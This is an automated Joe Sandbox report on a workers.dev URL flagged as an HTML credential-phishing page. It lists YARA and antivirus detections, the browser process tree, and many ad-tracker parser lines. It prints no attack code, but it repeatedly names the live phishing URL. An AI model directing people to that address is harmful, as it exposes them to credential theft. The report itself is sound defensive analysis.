Edit tour

Windows Analysis Report
https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico

Overview

General Information

Sample URL:	https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico
Analysis ID:	1432707
Infos:

Detection

HTMLPhisher

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected HtmlPhish10

Yara detected HtmlPhish64

Executes massive DNS lookups (> 100)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden URLs or javascript code

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5816 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1508 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=1948,i,16941438996351800518,16264357058940727454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3896 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6180 --field-trial-handle=1948,i,16941438996351800518,16264357058940727454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4180 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:/// MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6180 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=2024,i,12667267927742873418,10853461154328704347,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5016 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.0.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.2.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security
0.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 1 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico	Avira URL Cloud: detection malicious, Label: phishing
Source: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico	SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Multi AV Scanner detection for domain / URL

Source: yhs-world-aged-dust-4671.aubrey744.workers.dev

Virustotal: Detection: 19%

Perma Link

Multi AV Scanner detection for submitted file

Source: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico

Virustotal: Detection: 17%

Perma Link

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML

Yara detected HtmlPhish64

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML

Source: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico

HTTP Parser: Number of links: 0

Source: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html

HTTP Parser: Base64 decoded: HpBOAEA4gF9diypU6QBgGgBkyAB6ux978DqAfZtrECqAfVyRuoB6a-G6gHjs4bqAeT2BuoB-6WsQKoB_6esQKoB6--sQKoB5oGqAfz0RuoB5bYG6gHqpuxAqgHg62xAqgH4L2xAqgH_56xAqgH35-xAqgH-MKxAqgH-8KxAtgHANIIJAiAYRABGB0yAooCOgmAQIDAgICAoChIvf3BOliHzfnTu-OFA4AKA5gLAcgLAYAMAaoNAlVT4g0TCIKV-...

Source: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico

HTTP Parser: <input type="password" .../> found

Source: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico	HTTP Parser: No favicon
Source: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico	HTTP Parser: No favicon
Source: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico	HTTP Parser: No favicon
Source: about:blank	HTTP Parser: No favicon
Source: https://west-bid-gps.ybp.yahoo.com/bid/yoo/adslot/13885/?pa=1	HTTP Parser: No favicon
Source: https://securepubads.g.doubleclick.net/static/topics/topics_frame.html	HTTP Parser: No favicon
Source: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html	HTTP Parser: No favicon
Source: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html	HTTP Parser: No favicon
Source: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html	HTTP Parser: No favicon
Source: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html	HTTP Parser: No favicon
Source: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html	HTTP Parser: No favicon
Source: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html	HTTP Parser: No favicon
Source: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html	HTTP Parser: No favicon
Source: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html	HTTP Parser: No favicon
Source: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html	HTTP Parser: No favicon
Source: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html	HTTP Parser: No favicon
Source: https://s0.2mdn.net/sadbundle/13259857157114927549/CB1-Curi_300x600/index2.html?ev=01_250	HTTP Parser: No favicon
Source: about:srcdoc	HTTP Parser: No favicon
Source: about:srcdoc	HTTP Parser: No favicon
Source: about:srcdoc	HTTP Parser: No favicon
Source: about:srcdoc	HTTP Parser: No favicon
Source: https://tpc.googlesyndication.com/sodar/62bHydCX.html	HTTP Parser: No favicon
Source: https://opus.analytics.yahoo.com/tag/opus-frame.html?referrer=https%3A%2F%2Fwww.yahoo.com%2F&tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2&axids=gam%3Dy-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A%26dv360%3DeS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B%26ydsp%3Dy-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A%26tbla%3Dy-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN&reset_idsync=1	HTTP Parser: No favicon
Source: https://acdn.adnxs.com/dmp/async_usersync.html?gdpr=0&seller_id=7911&pub_id=2023142	HTTP Parser: No favicon
Source: https://eus.rubiconproject.com/usync.html?gdpr=0&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1	HTTP Parser: No favicon
Source: https://u.openx.net/w/1.0/cm?cc=1&id=891039ac-a916-42bb-a651-4be9e3b201da&ph=a3aece0c-9e80-4316-8deb-faf804779bd1&gdpr=0&gdpr_consent=&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dopenx%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%7BOPENX_ID%7D	HTTP Parser: No favicon
Source: https://s0.2mdn.net/sadbundle/10005337952414769934/PRO_NEW_MY24%20Prologue%20Launch_NSEV_NOIN_ENG_300x250_WDCH_H5_NV_LNM_MULT/MY24-PROLOGUE_LAUNCH_HTML_300x250_NC_AB.html?ev=01_250	HTTP Parser: No favicon
Source: https://s0.2mdn.net/sadbundle/10005337952414769934/PRO_NEW_MY24%20Prologue%20Launch_NSEV_NOIN_ENG_300x250_WDCH_H5_NV_LNM_MULT/MY24-PROLOGUE_LAUNCH_HTML_300x250_NC_AB.html?ev=01_250	HTTP Parser: No favicon
Source: https://googleads.g.doubleclick.net/xbbe/pixel?d=CJjNHBDdis7TAxjcjKTOATAB&v=APEucNU_oqW7upTKTy8FNduy5hrYbHa9xT4zgc8S7RQLVm68luKSwr7gTnMPO2Pw7b0FVFxBN6k40k6RAOTzksdrsWTbafSGKtia2IzHrNAjOoomGzxqtbw	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=159463&userIdMacro=PM_UID&predirect=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dpba%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3DPM_UID	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=159463&userIdMacro=PM_UID&predirect=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dpba%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3DPM_UID	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=159463&userIdMacro=PM_UID&predirect=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dpba%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3DPM_UID	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=133799&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=133799&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=1476058396850158061&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://eus.rubiconproject.com/usync.html?p=gumgum	HTTP Parser: No favicon
Source: https://js-sec.indexww.com/um/ixmatch.html	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&predirect=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dpubmatic%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&predirect=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dpubmatic%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dpbm%26i%3D&gdpr=0&gdprConsent=	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dpbm%26i%3D&gdpr=0&gdprConsent=	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dpbm%26i%3D&gdpr=0&gdprConsent=	HTTP Parser: No favicon
Source: https://ssp-sync.criteo.com/user-sync/iframe?gdprapplies=0&gdpr=&ccpa=1YNN&gpp=DBAA&gpp_sid=-1&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dcriteo%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24%7BCRITEO_USER_ID%7D&profile=230	HTTP Parser: No favicon
Source: https://cdn.taboola.com/scripts/prebid_iframe_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1	HTTP Parser: No favicon
Source: https://contextual.media.net/checksync.php?vsSync=1&cs=8&cv=31&https=1&cid=8CU2K123F&prvid=2034%2C2031%2C2030%2C550%2C233%2C2028%2C2027%2C236%2C2025%2C2069%2C237%2C117%2C97%2C55%2C99%2C3012%2C3010%2C244%2C201%2C2039%2C3007%2C246%2C4%2C126%2C203%2C326%2C9%2C2012%2C2055%2C172%2C3020%2C251%2C175%2C450%2C2009%2C178%2C3018%2C3017%2C214%2C459%2C70%2C77%2C38%2C2023%2C2022%2C141%2C262%2C461%2C222%2C10000%2C80%2C108&itype=PREBID&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN&gpp=DBAA&gpp_sid=-1	HTTP Parser: No favicon
Source: https://contextual.media.net/checksync.php?vsSync=1&cs=8&cv=31&https=1&cid=8CU2K123F&prvid=2034%2C2031%2C2030%2C550%2C233%2C2028%2C2027%2C236%2C2025%2C2069%2C237%2C117%2C97%2C55%2C99%2C3012%2C3010%2C244%2C201%2C2039%2C3007%2C246%2C4%2C126%2C203%2C326%2C9%2C2012%2C2055%2C172%2C3020%2C251%2C175%2C450%2C2009%2C178%2C3018%2C3017%2C214%2C459%2C70%2C77%2C38%2C2023%2C2022%2C141%2C262%2C461%2C222%2C10000%2C80%2C108&itype=PREBID&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN&gpp=DBAA&gpp_sid=-1	HTTP Parser: No favicon
Source: https://googleads.g.doubleclick.net/xbbe/pixel?d=COmwx6QDEPGQ3_AFGIKEyY4CMAE&v=APEucNW3n1sPbEDPkZs_8pmUCIewC45CoaMbj3AzHxGHyoXwxtkM_cEFOr5uqtXjLfPlJx3OXrvR-dvipnuPo91_BYfGIeGWag	HTTP Parser: No favicon
Source: https://ads.yieldmo.com/pbcas?us_privacy=1YNN&gdpr=0&gdpr_consent=&type=iframe	HTTP Parser: No favicon
Source: https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=dV80YzUzNTQwZS01YTIwLTRmYzAtOTRiYy05NmI1NjE4YTI1ZDI=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv	HTTP Parser: No favicon
Source: https://eb2.3lift.com/sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&	HTTP Parser: No favicon
Source: https://yahoo-bidout-d.openx.net/w/1.0/pd?cc=1&gdpr=0&gdpr_consent=&us_privacy=1YNN	HTTP Parser: No favicon
Source: https://contextual.media.net/checksync.php?vsSync=1&cs=9&cv=31&https=1&cid=8CU2K123F&prvid=2034%2C2031%2C2030%2C550%2C233%2C2028%2C2027%2C236%2C2025%2C2069%2C237%2C117%2C97%2C55%2C99%2C3012%2C3010%2C244%2C201%2C2039%2C3007%2C246%2C4%2C126%2C203%2C326%2C9%2C2012%2C2055%2C172%2C3020%2C251%2C175%2C450%2C2009%2C178%2C3018%2C3017%2C214%2C459%2C70%2C77%2C38%2C2023%2C2022%2C141%2C262%2C461%2C222%2C10000%2C80%2C108&itype=PREBID&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN&gpp=DBAA&gpp_sid=-1	HTTP Parser: No favicon
Source: https://contextual.media.net/cksync.php?cs=8&vsid=3572593249104590000V10&type=pba&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B	HTTP Parser: No favicon
Source: https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=	HTTP Parser: No favicon
Source: https://s.amazon-adsystem.com/dcm?pid=3b882453-6770-4785-baf8-a598533c054a&id=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&redir=true&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://rtb.gumgum.com/usync/prbds2s?gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dgumgum%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D	HTTP Parser: No favicon
Source: https://ce.lijit.com/beacon/prebid-server/?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp_sid=-1&gpp=DBAA&url=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dsovrn%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID&dnr=1	HTTP Parser: No favicon
Source: https://eb2.3lift.com/sync?gdpr=0&cmp_cs=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dtriplelift%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID	HTTP Parser: No favicon
Source: https://ipac.ctnsnet.com/int/cm?exc=14&redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MTEmdGw9MjAxNjA=&piggybackCookie=[user_id]	HTTP Parser: No favicon
Source: https://core.iprom.net/cookiesync?gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://s.tribalfusion.com/z/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID}	HTTP Parser: No favicon
Source: https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B	HTTP Parser: No favicon
Source: https://sync.adkernel.com/user-sync?zone=218872&t=image&r=https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MjgmdGw9MjE2MDA=&piggybackCookie={UID}&gdpr=0&gdpr_consent=&us_privacy=#US_PRIVACY	HTTP Parser: No favicon
Source: https://usersync.gumgum.com/usersync?b=rth&i=A4DedH0sMfRledw2RGl_v5wMrPITpJr3gtlSBi02byY&pi=gumgum	HTTP Parser: No favicon
Source: https://usersync.gumgum.com/usersync?b=ttd&i=43e7dc8e-5458-4375-be4a-644737ed4dbd	HTTP Parser: No favicon
Source: https://usersync.gumgum.com/usersync?b=sus&i=Zi1-TcCo5sIAAGeZz2wAAAAA	HTTP Parser: No favicon
Source: https://us-u.openx.net/w/1.0/cm?id=dc2068a3-fa3d-4b5f-8a61-3d5a1a58fc05&ph=21f03281-5b83-4670-a0e0-dc15f7542014&r=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D76%263pid%3D%7BOPENX_ID%7D&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1	HTTP Parser: No favicon
Source: https://usersync.gumgum.com/usersync?b=adf&i=1229556523303002514&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPU690312adc0a749a7834a32518588f9ba	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI3MzkmdGw9MTI5NjAw&piggybackCookie=1977432098227636774	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=PZC_iDzAuY4mx7nYPsKgiWqfvIoml77Yb8BcNaUV	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDImdGw9MTI5NjAw&piggybackCookie=uebPrO1GC4eaiilUVH8tZg	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:o2ksvWLN1S0QKf5&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA==&piggybackCookie=uid:f26e662d-7f4d-4d00-b052-4dd564d435a2&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=smhRw3qDUOZWwnIliIFkhJUSGEU&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://usersync.gumgum.com/usersync?b=pbm&i=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzMDEmdGw9MTI5NjAw&piggybackCookie=6f46b18e-04e7-11ef-8d5a-50ae062ad9ef	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzMDEmdGw9MTI5NjAw&piggybackCookie=6d350b20-04e7-11ef-9af6-9a7c2b29b5a3	HTTP Parser: No favicon
Source: https://c1.adform.net/serving/cookie/match?party=14&cid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyOTcmdGw9MTI5NjAw&piggybackCookie=AAERJ07MWv8AABVaVp3HVQ&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyOTcmdGw9MTI5NjAw&piggybackCookie=AAERJ07MWv8AABVaVp3HVQ&gdpr=0	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzMmdGw9MTI5NjAw&piggybackCookie=Q7675441631360128328	HTTP Parser: No favicon
Source: https://contextual.media.net/cksync.php?cs=9&vsid=3572593249104590000V10&type=pba&refUrl=&vid=42577364233572593249104590000V10&axid_e=&ovsid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=159463&userIdMacro=PM_UID&predirect=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D9%26vsid%3D3572593249104590000V10%26type%3Dpba%26refUrl%3D%26vid%3D42577364233572593249104590000V10%26axid_e%3D%26ovsid%3DPM_UID	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=159463&userIdMacro=PM_UID&predirect=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D9%26vsid%3D3572593249104590000V10%26type%3Dpba%26refUrl%3D%26vid%3D42577364233572593249104590000V10%26axid_e%3D%26ovsid%3DPM_UID	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/aframe	HTTP Parser: No favicon

Source: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico	HTTP Parser: No <meta name="author".. found
Source: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico	HTTP Parser: No <meta name="author".. found
Source: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico	HTTP Parser: No <meta name="author".. found

Source: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico	HTTP Parser: No <meta name="copyright".. found
Source: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico	HTTP Parser: No <meta name="copyright".. found
Source: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.4:49747 version: TLS 1.2

Source:

Binary string: </h2><p>If you have trees in your yard, they probably need a bit of pruning. Certain varieties even require it to stay healthy throughout the year. Compared with a pair of traditional pruning shears, this little chain saw makes the job practically effortless.</p><p>This chain saw is only 4 inches long. There's a safety lock that has to be pressed before the saw activates, and it comes with a handy carrying case, so you can safely store the device when it's not in use. The battery is a 20-volt, 1500mAh rechargeable. It can still get bogged down when cutting particularly thick branches, but it's sufficient for most jobs.</p><figure class=caas-figure><div class=caas-figure-with-pb style=\"max-height: 643px\"><div><div class=\"caas-img-container caas-img-lightbox caas-img-loader\" style=padding-bottom:67% data-lightbox-src=https://s.yimg.com/ny/api/res/1.2/OoOuQxAcGt9m08zoj.PDbA--/YXBwaWQ9aGlnaGxhbmRlcjt3PTI0MDA7aD0xNjA2/https://s.yimg.com/os/creatr-uploaded-images/2024-01/bedd8160-ab13-11ee-bbab-76c907c64d8d><a class=\"link rapid-noclick-resp\" href=https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL1Nha2VyLUNoYWluc2F3LVBvcnRhYmxlLUNvdXJ0eWFyZC0yMFZCYXR0ZXJpZXMvZHAvQjA5NDdYTFdGVz90YWc9eWxlMDEtcC1vLWhwbC0yMCIsImNvbnRlbnRVdWlkIjoiN2M5MzU0M2EtY2U5ZC00ZDYyLWI2YzUtYTRhY2JhYTUxYmQ3In0&signature=AQAAAX8fWmKqHNwmBtCc2H5ZX3yqie2WvkyATr0Vy2DLMyQ4&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FSaker-Chainsaw-Portable-Courtyard-20VBatteries%2Fdp%2FB0947XLWFW data-ylk><img class=\"caas-img caas-lazy\" alt=\"Saker mini chain saw\" data-src=https://s.yimg.com/ny/api/res/1.2/6TxsUd3WQjVTMdz9sjYoYw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTY0Mw--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/bedd8160-ab13-11ee-bbab-76c907c64d8d><noscript><img alt=\"Saker mini chain saw\" src=https://s.yimg.com/ny/api/res/1.2/6TxsUd3WQjVTMdz9sjYoYw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTY0Mw--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/bedd8160-ab13-11ee-bbab-76c907c64d8d class=caas-img></noscript></a></div></div></div><div class=\"caption-wrapper caption-aligned-with-image\"><figcaption class=caption-collapse>Axe yourself: Wouldn't it be nice to branch out to a new world of (literally) handy power tools with this chain saw? (Amazon)<span class=caption-credit> (Amazon)</span></figcaption></div></figure><h2 class=caas-jump-link-heading id=what-reviewers-say- source: chromecache_545.3.dr

Source: global traffic

DNS traffic detected: number of DNS queries: 213

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
